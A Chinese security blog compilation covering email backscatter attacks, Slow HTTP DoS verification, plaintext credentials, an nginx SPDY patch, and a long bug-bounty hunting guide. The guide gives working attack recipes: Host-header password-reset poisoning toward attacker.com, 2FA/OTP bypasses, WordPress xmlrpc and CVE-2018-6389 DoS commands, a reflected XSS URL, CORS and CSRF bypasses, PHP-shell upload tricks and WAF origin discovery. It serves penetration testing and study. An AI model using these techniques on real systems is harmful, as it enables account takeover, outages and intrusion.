- Exploit -

电子邮件退信攻击

电子邮件退信攻击

本文转自zdnet 并作补充

杂记

有生活常识的朋友都知道，当我们寄出一封信件的时候，如果收信人的地址变更或一些特殊原因。你所寄出的信件将会被原址退回。实际上电子邮件也是有这个退信功能的。不过这个便利的功能却被网络黑客发现并加以利用，邮件退信攻击有成为了危害邮件安全的一个难题。

所谓邮件退信攻击，是将预攻击的对象伪造成发件人地址，而收件人设置为一系列其他邮件域并不存在的账号，这样当邮件大量发送，例如通过僵尸网络，由于收件人不存在，邮件系统将产生大量的退信给发件人地址。该发件人地址所属的真实服务器将收到大量的退信，增加服务器的负荷，也容易使该公司的邮件服务器被列入黑名单。

邮件退信攻击在程度上有所区别，上面介绍的这种攻击，被攻击者可能一天之内收到数百上千封各种退信。一般用户碰到的邮件退信攻击属于骚扰性质，垃圾邮件发送者在发送垃圾邮件时，常常随机的设置发件人，例如其中包括bobo@abc.com，当大量发送垃圾邮件时，有些邮件可能是以bobo@abc.com发送的，则bobo就可能收到退信，有时一天只有几封或几十封，但总是不断，让人十分郁闷。

退信信息通常比较有规律，例如发件人为空，或者为MAILER-DAEMON@xxx.com，主题一般为Undelivered Mail Returned等。有些用户采用关键字的技术将退信予以阻断，或者干脆限定阻止空发件人，但是这经常会把正常的退信也阻止掉，导致信息不畅。

一般而言，退信占一个公司的邮件量5%以上，这其中绝大部分是垃圾退信。如何防止收到这种垃圾退信，避免邮件退信攻击呢?

采用SPF或domain-key的技术。这两种技术的原理相似。例如sohu.com的SPF记录是sohu.com text = “v=spf1 ip4:61.135.130.0/23 ip4:61.135.132.0/23 (。。。sohu邮件服务器所属IP)all”;如果有人冒用sohu发送垃圾邮件，收件方如果采用了SPF过滤技术，就能判定这是假冒的垃圾邮件，将不会给sohu发送DNR了。

遗憾的是很多服务器不做SPF验证，因此即使您的公司设置了SPF记录，也不能阻止垃圾退信。

重点

此文其实是为了记念一下一个工具：Swaks

几乎绝大部分的邮件攻击都可以由它进行实践，之前测试其实很多现在大厂的消费级邮箱是有或多或少的问题的。

Slowhttptest Usage

Slowhttptest 对 Slow HTTP Dos 的误判

当场滑跪

前段时间在巡检公司项目的时候发现了HTTP慢速拒绝服务攻击（Slow HTTP Dos）
于是就下发让项目运维去修复了，但是反馈说明明配置了正确的参数，于是我当（zhi）场（jie）滑（dao）跪（qian） ORZ

image

发生了什么

所以是发生了什么？漏扫就那么垃圾和我过不去这么多误报？我还好好用 slowhttptest 去验证了，确实存在service available: NO的显示，图就不发了，拿阿B的给你们看看：
image

后来看得多了我发现（其实早就发现了），slowhttptest 的slowbody模式下很容易出现service available: NO，read和header就很容易通过测试
但是归根到底是否触发拒绝服务，肯定看：

    1. 网站载入延时
    1. 网站是否还可访问

在看了星球守护者 的漏洞复现后我发现，用 slowhttptest 验证 Slow HTTP Dos 真实存在，需要注意：

1
2
3
4
1. slow HTTP test status on Xth second:		X 数字较小，即较早就开始拒绝服务
2. service available:   NO
3. Test ended on X+1th second
4. Exit status: Connection refused		这两点比较重要，真的拒绝服务了直接下一秒就停止测试了

image

不得不说

其实 Dos 类的漏洞你很不好说，因为访问量过大必然服务器承受不住，这个只能做缓解（流量分析、请求时限、扩容等等）
所以漏扫出来是否存在这个漏洞或者 slowhttptest 的service available: NO，有可能是看片面了（某些请求在开始或者后来被识别后被拒绝、中断，或者网页响应时间是否有某个范围内的增量变化等，尤其是这个增量变化，我曾经发现因为一个资产页面正常请求的数量会变化，时延直接从几百ms级变成几s级的）

好吧，okk

image

Plaintext Transmission

用户凭据明文传输

本文转自天泽岁月

漏洞描述

用户凭据通过未加密的通道传输。当我们在网站上面提交敏感数据到服务器的过程中未进行相关加密处理，导致攻击者通过中间人攻击方式（劫持、嗅探等）【如果加密方式是常见的加密也可以解密的（比如：MD5，RSA 等–另外base64只是一种编码方式并不算是加密！】即可获取到这些未加密的敏感数据。所有经过网关的流量都可以被黑客通过嗅探（ARP欺骗）的方式抓取到。

当攻击者获取到这些数据之后，就可以用这些信息以合法用户的身份进入到应用系统中——甚至可能进入到应用系统后台中，一旦进入到应用系统中那么就可以获取更多的敏感数据，以及更有机会发现更多的漏洞。

漏洞验证

找到网站或者web系统登录页面。

通过过对网站登录页面的请求进行抓包，分析其数据包中相关password（密码）参数的值是否为明文。

工具可用burp、wireshark、filder等等，抓包分析的密码

浏览器的F12中的“网络”模块功能并点击HTML进行筛选，点击登录即可获取到post或者get的请求头及请求主体的内容，如下图所示，就获取到了http明文登录的敏感数据了。

image

修复建议

由于用户凭据为敏感信息，应始终通过加密通道 (HTTPS) 传输，以避免被恶意用户拦截。因此应始终通过加密连接 (HTTPS) 将其传输到服务器。

如果不用 HTTPS，可以在网站前端用 Javascript 做密码加密，加密后再进行传输。(js被禁用了就GG)

使用正规的ca机构颁发的https证书

采用非对称加密方式（不可逆的加密方式）

参考学习

浅谈“密码明文传输”
渗透测试（二）：敏感信息明文传输

CVE-2014-0133-Nginx

Nginx SPDY缓冲区溢出漏洞

本文转自山兔1 并作补充

注意

nginx SPDY实现存在基于堆的缓冲区溢出，允许攻击者利用漏洞提交特殊的请求使应用程序崩溃或执行任意代码。

如果是漏扫，扫出来的话，是没有用的，它是根据版本来确认nginx是否存在的漏洞的，具体得登陆服务器上看。

成因

Nginx 1.3.15 - 1.5.11 的版本都收此漏洞影响，原因是如果listen指令中的spdy选项被配置文件所调用，则编译时会使用ngx_http_spdy_module模块（默认不编译），并且没有--with-debug配置选项。

修复

此漏洞已在 Nginx 1.5.12 及 1.4.7 后被修复，问题补丁如下：

1
2
3
4
5
6
7
8
9
10
11
--- src/http/ngx_http_spdy.c
+++ src/http/ngx_http_spdy.c
@@ -1849,7 +1849,7 @@ static u_char *
 ngx_http_spdy_state_save(ngx_http_spdy_connection_t *sc,
     u_char *pos, u_char *end, ngx_http_spdy_handler_pt handler)
 {
-#if (NGX_DEBUG)
+#if 1
     if (end - pos > NGX_SPDY_STATE_BUFFER_SIZE) {
         ngx_log_error(NGX_LOG_ALERT, sc->connection->log, 0,
                       "spdy state buffer overflow: "

请更新 Nginx 版本

SRC 发掘之旅

斯卡蒂的赏金猎人之旅（SRC）

image

本文实际上是在 HowToHunt 的基础上结合自己在安全学习工作的经验，算是译写的一份 SRC 初步指南，有时间学习 SRC 发掘应该就会更新（已完结）。

如何发现猎物？（How To Hunt?）

账户控制（account takeovers methods）

XSS cookie 劫持

  1. 在身份验证与会话管理过程中尝试进行劫持；
  2. 利用 XSS 等方法尝试去窃取 cookie，从而达到控制账户的目的。

弱密码与登录次数

  1. 如果一个登录页没有对密码复杂度进行严格要求，或可以尝试弱密码与初始/管理账户登录（admin/password）；
  2. 如果一个登录页没有对一定时间内的登录次数进行限制，可以尝试初步爆破以致SQL注入。

窃取重置密码凭证（token）

  1. 对可疑站点进行账户密码修改的操作；
  2. 利用 BurpSuite 拦截修改请求，并修改包 header 中的 host 值，如：
1
2
Host: target.com
Host: attacker.com

也可以尝试在不修改 host的情况下在 header 中加入一些字段：

1
2
X-Forwarded-Host: attacker.com
Referrer: https://attacker.com
  1. 放行发送这个包，如果你在 attacker.com 接下来的 log 中发现了请求，说明你已经成功窃取了这个 token。

详见Password reset poisoning

尝试 CSRF

  1. 修改密码处
  2. 修改邮箱处
  3. 修改账号安全问题处

响应包令牌泄露

在注册页或密码重置页：

  1. 拦截提交的请求包；
  2. Proxy - Intercept - 右键 - 拦截执行（Do intercept） - 此请求的响应（Response to this request），即拦截 response；
  3. 放行 request，查看 response 中是否有任何链接、凭证（token）或 一次性密码/动态密码（OTP）。

应用程序级 DoS（Application Level DoS Methods）

邮件退回攻击

  1. 查看应用程序是否具有群发功能；
  2. 伪装需要攻击的邮箱地址作为发件人（如小公司自建企业邮箱）；
  3. 向无效的电子邮件账户群发大量邮件；
  4. 查看电子邮件服务供应商的退信限制上限；
  5. 达到这个退信限制后，被伪造的发件人公司将在一定时间内无法再次发送邮件。

推荐先用checkdmarc测一下有没有 SPF 等策略，有的话不同邮箱域名间伪造很可能被拦截，当然也看技术手法，我之后也应该会更新一篇详细介绍邮件伪造的（咕咕咕）。

长密码拒绝服务

密码明文理应被哈希加盐后存储在数据库中，如果没有对密码长度进行限制，那么过长的密码在进行哈希运算时就可能消耗大量的资源。

  • 测试方式：
  1. 用长度150-200字的密码测试是否有长度限制；
  2. 如果没有，换更长的密码测试，关注一下页面响应的时间；
  3. 甚至可以看看会不会崩溃。
  • 测试点：
  1. 很多页面在注册时限制了密码长度，但是在忘记密码和修改密码的地方遗漏了这个限制。

我应该也有相关的 Exploit 文章记录。

长字符拒绝服务

当使用一些过长的字符串时，服务器可能无法处理，在一定时间内造成拒绝服务。

  • 测试点：
  1. 尝试在用户名或网路地址，甚至文件与图片名中使用约1000字符的字串；
  2. 用 B 账户搜索 A 账户，其中 A 账户为长字串。
    看看是否一致处于搜寻状态
    或者应用崩溃，返回 500 状态码

试试这个密码

实际上并不建议使用超过 5000 个字符的密码
但这里有一个密码本

对受害者的永久拒绝服务

这不仅是从应用角度的 DoS，而且可能是对受害者永久的 DoS。在某些网站中，用户用错误的登录凭据登录后，在一定时间内会被登录阻止，我们把这个功能视为 Bug :D。

  • 测试方式：
  1. 到某个网站的登录页面（如 example.com）；
  2. 现在输入有效的电子邮件账户和错误的密码；
  3. 多登录几次（至少 10 - 20 次），可以用 BurpSuite 进行重发（这里要关注一个验证码问题，这个每次要输入，有时候可能也做了加密处理）；
  4. 如果账号被阻止登录，且时长越来越长，超过 30 分钟，可以视为存在漏洞。
  • 需要注意：
  1. 确保登录期间没有验证码，因为我们不能使用任何自动化工具来循环请求；
  2. 确保旧的登录会话在被阻止登录后已经过期。

反馈此漏洞时可以说能够通过时间间隔循环此登录请求来阻止某用户正常登录。

绕过身份验证（Authentication Bypass）

讲道理，这里的绕过身份认证更多的是在知道密码的情况下绕过二次认证，要知道用户密码为前提有点没太大意义，无法扩散危害，只能说机制有漏洞可能被劫持利用。

二次认证（2FA）绕过

修改响应

如果在 2FA 认证的响应包中表示认证状态的布尔值“success”为“false”，改成“true”试一下。

修改状态码

如果认证响应的状态码为 4xx，改成 200 OK 看看能不能绕过。

2FA 码泄露

拦截认证响应包，看看是否有 2FA 码直接泄露。

分析 JS 代码

就是看看能不能在认证页的 JS 中直接找到 2FA 码生成的代码，以此推测出 2FA 码。

2FA 码重用

相同的 2FA 码能够被用于下次认证。

缺少爆破防护

不够长的 2FA 码或许能够被爆破出来。

2FA 码缺少完整性验证

任何用户的 2FA 码都可以通过认证。

在禁用 2FA 时进行CSRF

禁用 2FA 时没有进行 CSRF 保护，或者没有再次进行 2FA 验证。

密码重置禁用 2FA

在密码更改/电子邮件更改时禁用 2FA 验证。

Backup Code Abuse

Bypassing 2FA by abusing the Backup code feature
Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
（这里说的是因为备份码被滥用而绕过 2FA 验证，但是我没能理解，看参考文章也是每太理解，就放在这了）

在禁用 2FA 页面进行点击劫持

在 2FA 禁用页面设置点击劫持，并利用社会工程学方式诱导禁用 2FA。

启用 2FA 无法使之前的会话过期

如果存在被劫持的会话且没有设置会话超时，则 2FA 会被绕过。

利用 null 或 000000 绕过 2FA

在输入 2FA 码时利用 null 或者 000000 尝试进行绕过。

一次性密码/动态密码（OTP）绕过

修改响应包在注册用户页/登录账户绕过 OTP

方式一：

  1. 使用手机号码注册账户/登录账户并申请 OTP；
  2. 输入不正确的 OTP 并在 BurpSuite 中捕获请求；
  3. 拦截响应并修改：
1
2
3
4
响应如果是：
{"verificationStatus":false,"mobile":9072346577","profileId":"84673832"}
修改为：
{"verificationStatus":true,"mobile":9072346577","profileId":"84673832"}

转发此响应，看能否登录账户。

方式二：

  1. 使用任意 2 个手机号码注册 2 个账户，第一个手机输入正确的 OTP；
  2. 拦截注册请求，并选择拦截此请求的响应，放行请求；
  3. 记录响应包中各参数状态；
  4. 另一个手机输入错误的 OTP；
  5. 拦截注册请求，并选择拦截此请求的响应，放行请求；
  6. 将响应包中各参数修改为正确 OTP 响应状态值，看是否能成功登录。

使用重发器重复提交表单绕过 OTP

  1. 使用不存在的电话号码创建账户；
  2. 利用 BurpSuite 拦截请求，并发送到重发器（Repeater）；
  3. 把重发器中请求的电话号码修改为正确的电话号码后，记录 OTP；
  4. 回到拦截器（Intercept），放行请求，尝试用之前获得的 OTP 进行注册。

无速率限制

  1. 创建账户，当应用程序需要你提供 OTP 时，输入错误的 OTP 并拦截此请求；
  2. 将此请求发送至重发器（Repeater），选择 OTP 的值，开始在有效范围爆破；
  3. 如果没有速率限制，当 OTP 较短复杂度较低，则很容易爆破出来。

利用断开链接劫持（Broken-Link Hijacking）

  1. 查找目标站点上的外部链接（如一些指向社交媒体账户的链接或一些外部媒体链接）
  2. 检查目标站点公司是否是这个链接的域名所有，没有的话可能被注册用于恶意行为。

举例，一个很有名的网站上有调用 JS 文件，存放 JS 文件的链接已经失效，你可以注册，然后在相同的路径放上恶意的 JS 文件。以下工具用于查找断开的链接：
broken-link-checker
Online Broken Link Checker
Alternative Online Broken Link Checker

由会话衍生的问题（Session Based Bugs）

会话的认证与劫持很多也是建立在你能获取一定的信息上的，也更多是机制上的问题，危害传播更困难。

旧会话在密码更改后不会过期

  1. 在目标站点上创建账户；
  2. 使用同一账户登录两个浏览器（以 Chrome 和 Firefox 为例）；
  3. 在 Chrome 中更改密码，成功更改后，刷新在 Firefox 上的页面，看看是否是登录状态。

会话劫持（预期行为）

  1. 创建你的账户并登录；
  2. 利用浏览器的 cookie 编辑器插件，copy 所有的目标 cookie，然后登出你的账户；
  3. 把所有的目标 cookie 粘贴进 cookie 编辑器；
  4. 刷新页面，看看你是否还是登陆状态。

Firefox 的插件Cookie-Editor

密码重置令牌不会过期（不安全的可配置项）

  1. 在目标网站上创建账户后，登录时请求忘记密码；
  2. 不要使用重置密码的链接，而是使用旧密码登录，并将你的电子邮件修改为其他邮箱；
  3. 现在使用发送到旧电子邮箱的修改密码链接，看是否可以修改密码，如果是，则存在漏洞。

安全页的缓存控制（服务器安全性配置错误）

  1. 登录应用程序页面，浏览使用功能后注销；
  2. 按 Alt + ← ，看是否能回到应用程序登录后的页面。

绕过电子邮件确认认证

  1. 在创建用户时，会收到一个邮箱验证链接；
  2. 应用程序在没有进行邮箱验证的情况下只会提供较少的权限和功能许可访问；
  3. 登录到应用程序，将电子邮件地址更改为电子邮件 B；
  4. 会向电子邮件 B 再发送一份验证链接；
  5. 将电子邮件更改回创建账户时的电子邮件，看电子邮件是否已验证。

这个并不适用于创建账户就要邮箱的情况，感觉要邮箱链接确认账户激活才能登录就会不行，除非注册时候换邮箱再换回去也可以（但理论上再换回去回再发一封确认邮件）；而当用手机号等登录上去了，绑定邮箱有可能都不要验证。

电子邮件验证绕过

  1. 使用自己的电子邮件地址创建一个账户，创建中会需要电子邮件验证；
  2. 不要使用验证链接，而是回到注册页，把电子邮件地址修改为受害者电子邮件地址进行创建；
  3. 现在回到自己的电子邮箱，确认链接，看是不是受害者的邮箱被确认。

旧密码重置令牌在请求新令牌时未过期

  1. 首先，利用有效的电子邮箱创建一个账户，然后注销；
  2. 选择忘记密码，请求重置密码链接，但是不要去邮箱使用链接；
  3. 再次请求一个密码重置链接；
  4. 去电子邮箱使用第一个密码重置链接，看是否能修改密码。

密码重置令牌在密码更改后未过期

  1. 首先，利用有效的电子邮箱创建一个账户，然后注销；
  2. 选择忘记密码，请求重置密码链接，使用密码重置链接修改密码后登录；
  3. 现在再次使用邮箱中的密码重置链接，看是否还能修改密码。

内容管理系统（CMS）

Wordpress

基本扫描工具Wpscan

xmlrpc.php
这是 wordpress 上常见的问题之一，可以通过这种错误的配置进行漏洞利用。

检测：

  • 访问 site.com/xmlrpc.php（有可能有二级路径）
  • 获取有关 POST 请求的错误信息

利用：

  • 拦截请求包，把请求方式由 GET 改为 POST
  • 列出所有 method
1
2
3
4
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
  • 检查是否存在pingback.ping方式
  • 试试 DDoS
1
2
3
4
5
6
7
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
  • 试试 SSRF（仅限内部端口扫描）
1
2
3
4
5
6
7
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

XMLRPC-Scan 可以配合 BurpSuite 一起测试。

目录枚举
有时开发人员会忘记禁用/wp-content/uploads上的目录列表。

检测：
/wp-content/uploads
可以将这个路径加入到模糊词表中

其实有一个目录爆破工具gobuster 挺好用也挺强大的

CVE-2018-6389
此问题可能会使 4.9.3 以下的任何 Wordpress 网站关闭。

检测：
利用下面链接内的 poc，在可疑的 Wordpress 站点请求，你在响应中会获得一堆的 js 数据：
loadsxploit

利用：
您可以使用任何 Dos 工具，Doser 好像很快，在 30 秒内关闭了 Web 服务器：
Doser
python3 doser.py -t 999 -g 'https://site.com/fullUrlFromLoadsxploit'

CVE-2021-24364
5.4.4之前的Jannah WordPress主题在将其输出回页面之前，没有正确清理tie_get_user_weather AJAX操作中的选项JSON参数，导致了一个反映的跨站点脚本（XSS）漏洞。

检测并且利用：
把 替换成你的 WP 站点请求即可等待弹窗：

1
<Your_WP-Site-here>/wp-admin/admin-ajax.php?action=tie_get_user_weather&options=%7B%27location%27%3A%27Cairo%27%2C%27units%27%3A%27C%27%2C%27forecast_days%27%3A%275%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ecustom_name%27%3A%27Cairo%27%2C%27animated%27%3A%27true%27%7D

WP Cronjob DoS
你可以在这个区域也尝试一下 DoS。

检测：

  • 访问 site.com/wp-cron.php
  • 您将看到一个空白页面，其中包含 200 HTTP 状态码

利用：
同样使用 Doser 来利用：
python3 doser.py -t 999 -g 'https://site.com/wp-cron.php'

WP-Cron detection?
The nightmare that is wp-cron.php

WP 用户枚举
仅当目标网站隐藏其当前用户或未公开可用时，此问题才会被接受。因此，攻击者更多是使用这些用户数据进行爆破。

检测：

  • 访问 site.com/wp-json/wp/v2/users/
  • 您将看到带有用户信息的 json 数据作为响应

利用：

1
2
3
4
5
6
如果能联合 xmlrpc.php 方式的信息泄露，去请求，如使用
*)wp.getUserBlogs
*)wp.getCategories
*)metaWeblog.getUsersBlogs）
则能更准确的进行爆破，详见 xmlrpc.php 版块的 
Wordpress xmlrpc.php -common vulnerabilites & how to exploit them 文章

Moodle

Mass Hunting XSS — Moodle
确实一篇文章讲述清楚了 = =

跨域资源共享（CORS）

CORS 配置错误

单目标狩猎：

  1. 用爬虫爬取目标网站并用 BurpSuite 截取请求与响应；
  2. 用 BurpSuite 寻找Access-Control；
  3. 尝试在请求中添加Origin Header，如Origin:attacker.com或Origin:null或Origin:attacker.target.com或Origin:target.attacker.com；
  4. 如果在响应中发现了 Origin 的相关信息，则目标站点可能存在错误的 CORS 配置。

多目标（含子域）狩猎：

  1. 子域发现：subfinder -d target.com -o domains.txt；
  2. 域名判活：cat domains.txt | httpx | tee -a alive.txt；
  3. 把每一个存活子域送进 BurpSuite：cat alive.txt | parallel -j 10 curl --proxy "http://127.0.0.1:8080" -sk 2>/dev/null；
  4. 如单目标一般开始狩猎。

憨批为什么不用自动化工具：
CORScanner
theftfuzzer
Corsy
CorsMe

自动化狩猎：

  1. 利用 subfinder、assetfinder、findomain 等工具搜寻子域：subfinder -d target.com | tee -a hosts1 , findomain -t target.com | tee -a hosts1 , assetfinder --subs-only target.com |tee -a hosts1；
  2. 之后做一下数据处理与判活：cat hosts1 | sort -u | tee -a hosts2，cat hosts2 | httpx | tee -a hosts；
  3. 看看这些 hosts 在终端有哪些路径回显；
  4. 然后试试 meg -v；
  5. 进程完成后再利用 gf 看看 CORS；
  6. 所有链接将携带Access-Control-Allow被展示出来。

meg
gf
subfinder
assetfinder
findomain
httpx

CORS 绕过

POC:

1
2
3
4
5
6
7
8
9
Origin:null
Origin:attacker.com
Origin:attacker.target.com
Origin:attackertarget.com
Origin:sub.attackertarget.com
Origin:attacker.com and then change the method Get to post/Post to Get
Origin:sub.attacker target.com
Origin:sub.attacker%target.com
Origin:attacker.com/target.com

CSRF

CSRF 发现

  1. 只需删除 CRSF token
    毫不夸张地说，这是许多网络应用中常见的问题；

  2. 令牌未连接到会话
    网络应用程序只检查了 token 的是否存在即有效性，并未检测它的归属性，可以看看：
    Bob 的 token 对 Alice 有效吗？
    任何匿名用户的 token 对 Alice 有效吗？

  3. 利用 Content-Type
    移除 token 并且更换 Content-Type：
    Urlencoded form -> JSON
    JSON -> Urlencoded form
    Urlencoded form -> multipart form

  4. 转换请求方式 POST -> GET
    服务器可能会跳过对 GET 请求的 CSRF 检查并接受 URL 中的正文参数：

1
2
3
4
5
POST /change_password
POST body:
new_password=qwerty

GET /change_password?new_password=qwerty

  1. PHP 类型戏法
    使用松散的比较策略（==，!=）可能会导致意料之外的结果并产生 CSRF 绕过的风险：
    {"action": "delete", "csrf": "1bc...ade"}
    {"action": "delete", "csrf": 0}

  2. 双重 Cookie 提交
    如果你能控制用户的 cookie，尝试把你自己的 CSRF token 都放置在 body 和 cookie 中，可以尝试：
    Cookie 注入
    任何子域的 XSS
    子域接管

CSRF思维导图

image

image

CSRF 绕过

CSRF 可能出现在登录，注销，重置凭证，更改密码，添加购物车，喜欢，评论，个人资料更改，用户详细信息更改，余额转移，订阅等位置：

  • 更改请求方法 [POST => GET]
  • 删除整个 token 参数
  • 删除令牌，并给出一个空白参数
  • 使用在另一个请求中未使用的有效令牌
  • 使用自己的 CSRF token 将其提供给受害者
  • 用相同长度的值替换 token
  • 逆向工程令牌
  • 通过 HTML 注入提取 Token
  • 从 Non-Form Content-Type: application/json或Content-Type: application/x-url-encoded切换到Content-Type: form-multipart
  • 更改/删除令牌中的最后一个或第一个字符
  • 将referrer更改为Referrer
  • 绕过正则表达式
    如果网站在引用的 URL 中寻找“bank.com”，那么“bank.com.attacker.com”或“attacker.com/bank.com”可能会起作用。
  • 删除引用标题（在您的 payload 或 html 代码中添加<meta name=”referrer” content=”no-referrer”>）
  • 点击劫持
    （如果您不熟悉点击劫持攻击，可以在OWASP 找到更多信息。）
    在同一端点上利用点击劫持会绕过所有 CSRF 保护。因为从技术上讲，请求确实来自合法站点。如果易受攻击的端点所在的页面容易受到点击劫持，则所有 CSRF 保护都将变得无关紧要，您将能够获得与端点上的 CSRF 攻击相同的结果，尽管需要付出更多努力。

寻找 CVE（finding CVES）

CVES

  1. 抓取所以子域，如subfinder -d domain.com | tee -a domains.txt；
  2. 寻找所有存活域，如cat domains.txt | httpx -status-code | grep 200 | cut -d " " -f1 | tee -a alive.txt；
  3. 利用 nuclei 进行基本检测、面板检测、工作流检测、cve 模板检测，并把检测结果保存至不同文件中：cat alive.txt | nuclei -t nuclei-templates/workflows | tee -a workflows；
  4. 仔细且有耐心的查看输出；
  5. 在你的目标上发现些有趣的东西，比如使用了 Jira；
  6. 把该链接放入浏览器看看版本；
  7. 去找找看这个版本的 Jira 是否存在什么漏洞；
  8. 去寻找这个漏洞的各种 poc，包括别人可能改进的。

Web 应用程序渗透测试检测清单

Web Application Pentesting Checklist
Web Checklist by Chintan Gurjar.pdf
Mindmap by Rohit Gautam
Mindmap by Cristian Cornea
都挺有用的

网页代码审计（Web Page Source Code Review）

重要功能优先

阅读源代码时，请专注于重要功能，例如身份验证，密码重置，状态更改操作和敏感信息读取。（什么是最重要的将取决于应用程序。然后，查看这些组件如何与其他功能交互。最后，审核应用程序的其他不太敏感的部分。

跟随用户输入

另一种方法是遵循处理用户输入的代码。HTTP 请求参数、HTTP 标头、HTTP 请求路径、数据库条目、文件读取和文件上传等用户输入为攻击者利用应用程序漏洞提供了入口点。这也可能有助于我们找到一些关键漏洞，如xxe，xxs，sql注入。

硬编码的密钥与凭据

在源代码审查期间，可以轻松发现硬编码的机密，例如API密钥，加密密钥和数据库密码。您可以 grep 查找关键字，例如“key”、“secret”、“password”、“encrypt”或正则表达式，搜索十六进制或 base64 字符串（取决于所使用的密钥格式）。

使用危险功能和过时的依赖关系

不受控制地使用危险功能和过时的依赖项是错误的巨大来源。Grep 以获取您正在使用的语言的特定函数，并搜索依赖项版本列表以查看它们是否过时。

开发人员备注、隐藏的调试功能、配置文件和 .git 目录

这些是开发人员经常忘记的事情，它们使应用程序处于危险状态。开发人员的评论可以指出明显的编程错误，隐藏的调试功能通常会导致权限提升，配置文件允许攻击者收集有关您的基础架构的更多信息，最后，公开的.git目录允许攻击者重建您的源代码。

隐藏路径、已弃用的端点和开发中的端点

这些是用户在正常使用应用程序时可能不会遇到的点。但是，如果它们有效并且被攻击者发现，则可能导致身份验证绕过和敏感信息泄漏等漏洞，具体取决于暴露的端点。

弱密码或散列

这是一个在黑盒测试期间很难发现的问题，但在审查源代码时很容易发现。查找诸如弱加密密钥、可破解加密算法和弱哈希算法等问题。Grep 寻找 ECB、MD4 和 MD5 等术语。

缺少对用户输入和正则表达式强度的安全检查

查看源代码是找出缺少哪种安全检查的好方法。通读应用程序的文档，并测试您可以想到的所有边缘情况。对于您应该考虑哪种边缘情况，一个很好的资源是PayloadsAllTheThings 。

缺少 Cookie 标志

注意缺少的 cookie 标志，例如httponly和security。

意外行为、条件与不必要的复杂函数

此外，还要特别注意应用程序的意外行为、条件和复杂函数。这些位置是经常发现晦涩错误的地方。

没有剥离的 EXIF 地理数据（EXIF Geo Data Not Stripped）

介绍

当用户在 example.com 上传图像时，上传图像的EXIF地理位置数据不会被剥离。因此，任何人都可以获得 example.com 用户的敏感信息，例如他们的地理位置，他们的设备信息，例如设备名称，版本，使用的软件和软件版本等。

复现步骤

  1. 在 exif-samples 上能找到很多不同分辨率及大小的图片；
  2. 去一个上传图片的站点，上传 exif-example 中符合规则的图片；
  3. 查看上传图片的路径（要么右键单击图片然后复制图片地址，要么右键单击，检查图片，URL将进入检查，将其编辑为html）；
  4. 现在用Online Exif Viewer 看看那个图片链接有没有暴露有效信息。

文件上传绕过（File Upload Bypass）

假设有一个限制，你只能以PDF、JPEG、JPG等几种格式上传文件，但如果你可以通过无视这种上传机制和文件类型检查来上传一个PHP文件会如何？
如果有人能上传一个PHP文件，那么一旦他上传一个 php shell，就可以轻松的执行 RCE，最不济也能在服务器上获得一个反弹 shell。

绕过的原理

这一般取决于系统使用哪种验证，如果他只是对文件的扩展名进行校验，那么绕过他将非常容易。
现在假设我们必须上传一个JPG文件，即拓展名必须是 XX.jpg：

绕过一般的拓展验证

上传一个以 .php.jpg 或 .jpg.php 为拓展名的文件试试

绕过魔术字节验证

在这种绕过中我们使用 polygots.在安全相关文章中，Polyglots 是指多语言且多种不同文件类型有效形式的结合。
例如，GIFAR 文件既是一种 GIF 又是一种 RAR 文件。也有文件能既是 GIF 又是 JS，既是 PPT 又是 JS 等等。

所以当我们被要求要上传一个 JPEG 类型的文件时我们可以上传一个 PHAR-JPEG 文件，因为 PHAR-JPEG 文件同时具有 JPEG 标头和 PHP 文件内容，在验证时会被视为 JPEG 文件，稍做处理后可被作为 PHP 文件被利用。
但是，如果你没有网站文件上传测试的许可，请不要进行文件上传测试，除非你想进行恶意行为（文件上传将留有痕迹和脏数据，这是服务器不想承受的，所以没有许可就不要试了，也没钱拿）。

绕过步骤

  1. 创建具有应用程序接受拓展名的恶意文件；
  2. 上传该文件后，确认（发送）；
  3. 在 Burpsuite 中捕获请求，将文件拓展名修改为所需的恶意拓展名，某些情况下你可能还需需要修改文件的内容类型；
  4. 将请求转发至服务器，看看响应状态，在页面尝试触发恶意文件。

溯源（Find Origin）

验证 WAF

1
2
dig +short example.com
curl -s https://ipinfo.io/IP | jq -r '.org'

借助 AWS，你通常可以识别存在AWSLB和AWSLBCORS Cookie 的负载均衡器

确定来源

用dnsdumpster 可以生成域名地图
接下来用Censys 进行搜索，并将看起来与目标匹配的ip保存在文本文件中。如https://censys.io/ipv4?q=0x00sec.org
找到与域绑定的IP的另一种方法是查看其历史IP。可以用SecurityTrails DNS trails 跟踪

  • 在这里我们能看到存在的A记录及存在的时间。管理员在使用多年的“裸机”后切换到 WAF 解决方案是非常常见的，但他们不一定会配置白名单。
  • 你可以把输出的结果表格整个复制保存在txt中，然后用一下 awk 过滤出 ip：
1
grep -E -o "([0-9]{1,3}[\\.]){3}[0-9]{1,3}" tails.txt | sort -u | tee -a ips.txt

域名系统枚举

如果枚举目标 DNS，你有可能发现他们具有类似dev.example.com或staging.example.com子域的内容，并且它可能指向没有 WAF 的源主机

1
2
- Get all the subdomains.
    `subfinder -silent -d 0x00sec.org | dnsprobe -silent | awk  '{ print $2 }'  | sort -u | tee -a ips.txt`

检查主机IP

1
2
3
4
5
6
for ip in $(cat ips.txt) # iterate through each line in file
do 
    org=$(curl -s <https://ipinfo.io/$ip> | jq -r '.org') #  Get Org from IPInfo
  title=$(timeout 2 curl -s -k -H "Host: 0x00sec.org" <https://$ip/> | pup 'title text{}') # Get title
    echo "IP: $ip Title: $title Org: $org" # Print results
done

这样我们就能大致快速浏览出哪个IP对应哪个 Host header，并且知道标题
我们遍历了每个主机，直接用 host header 请求IP，且我们有我们的源IP

手动设置 Host Header

1
curl -s -k -H "Host: 0x00sec.org" https://<ip address>/

或者直接在 Burpsuite 中设置 Host Header

CloudFail

1
2
3
4
git clone <https://github.com/m0rtem/CloudFail.git>
cd CloudFail
pip install -r requirements.txt
python3 cloudfail.py -t 0x00sec.org

事先侦察

一般的侦察过程是为了尽可能的获得更多的ip地址（host, nslookup, whois, ranges…），然后检查哪些服务器启用了 Web 服务（netcat, nmap, masscan）
